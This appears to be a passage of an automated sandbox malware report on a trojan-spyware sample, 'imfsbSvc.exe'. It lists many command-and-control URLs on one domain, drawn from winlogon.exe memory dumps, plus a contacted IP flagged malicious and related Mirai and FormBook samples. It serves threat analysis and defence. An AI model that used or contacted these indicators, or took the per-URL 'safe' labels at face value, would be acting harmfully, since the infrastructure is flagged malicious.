00000007.00000003.2440833811.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286411263.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564758005.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273358268.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659476894.0000025DD7D94000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112053895.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007BF22900000000007BF2291U	winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/0000000000801B490000000000801B49mpJ	winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/0000000000746D3C0000000000746D3C&	winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007709530000000000770953z	winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000006C533300000000006C5333mp	winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000006D7A0F00000000006D7A0FingWud	winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000006D7F8E00000000006D7F8EB	winlogon.exe, 00000007.00000003.2061038448.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/0000000007BF22900000000007BF229	winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007F90EB00000000007F90EB/	winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/rnamosong.com/0000000000706D110000000000706D11z	winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286499322.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000006C584400000000006C5844OIDInfo	winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/0000000000801B490000000000801B491	winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007709530000000000770953i	winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000006C533300000000006C5333Drive=C:SystemRoot=C:	winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007467CE00000000007467CEh	winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/0000000000801B490000000000801B494	winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007544B000000000007544B021	winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007F0BAE00000000007F0BAE21G	winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/000000000075B7AE000000000075B7AEh	winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007559CF00000000007559CFft	winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000006C584400000000006C5844B	winlogon.exe, 00000007.00000003.2000513636.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
HTTPS://esh.hoovernamosong.com:443a	winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/0000000000746D3C0000000000746D3C21	winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007E312D00000000007E312D21	winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/000000007709530000000000770953	winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007F90EB00000000007F90EBI	winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000006C533300000000006C5333fu	winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007E312D00000000007E312Di	winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/0000000000742FC60000000000742FC6Z	winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007E312D00000000007E312D1	winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007704620000000000770462t	winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/000000000075B7AE000000000075B7AE=	winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007AEFBD00000000007AEFBDz	winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/0000000000742FC60000000000742FC6c	winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000006BEECC00000000006BEECC)F	winlogon.exe, 00000007.00000003.2399460401.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511318334.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2227566835.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159867639.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456222947.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613246139.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327054367.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440833811.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286411263.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564758005.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1937515919.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/0000000000722F620000000000722F62iI	winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000722F620000000000722F62iI	winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286499322.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007AEFBD00000000007AEFBDu	winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007F0BAE00000000007F0BAEt4	winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000006C533300000000006C53337	winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
HTTPS://esh.hoovernamosong.com:443OSQ	winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.quovadis.bm0	winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159867639.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1924324954.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2350059952.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1877345602.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071184180.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2849393759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1937515919.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007709530000000000770953&	winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000006AA45A00000000006AA45A)F	winlogon.exe, 00000007.00000003.1924324954.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/fu	winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000006BF3EC00000000006BF3ECur	winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/ft	winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/0000000000742FC60000000000742FC61U	winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007980100000000000798010i	winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007BF79800000000007BF798i	winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/000000000072BB27000000000072BB27h	winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007AF52C00000000007AF52Cft	winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/000000000722A900000000000722A90	winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/000000000079801000000000007980101L	winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
160.16.200.77	esh.hoovernamosong.com	Japan		9370	SAKURA-BSAKURAInternetIncJP	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564524
Start date and time:	2024-11-28 13:19:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	imfsbSvc.exe
Detection:	MAL
Classification:	mal72.troj.spyw.evad.winEXE@13/5@23/1
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, conhost.exe
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtEnumerateValueKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: imfsbSvc.exe

Simulations

Behavior and APIs

Time	Type	Description
07:22:04	API Interceptor	2x Sleep call for process: imfsbSvc.exe modified
07:22:11	API Interceptor	20x Sleep call for process: winlogon.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SAKURA-BSAKURAInternetIncJP	nabx86.elf	Get hash	malicious	Unknown	Browse	163.43.243.149
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	160.16.177.244
	https://docs.google.com/presentation/d/1z_B5nVWxQSqBMnIWjAfO37AM3HSOm_XjEmM3UM39DA0/preview	Get hash	malicious	Unknown	Browse	160.16.237.149
	i486.elf	Get hash	malicious	Mirai	Browse	160.18.19.40
	arm.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	110.44.149.161
	amen.spc.elf	Get hash	malicious	Mirai	Browse	59.106.78.176
	Ref_ENQ-V-R-3512.docx	Get hash	malicious	FormBook	Browse	153.121.40.91
	RFQ.docx	Get hash	malicious	FormBook	Browse	153.121.40.91
	nuklear.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	163.43.146.137
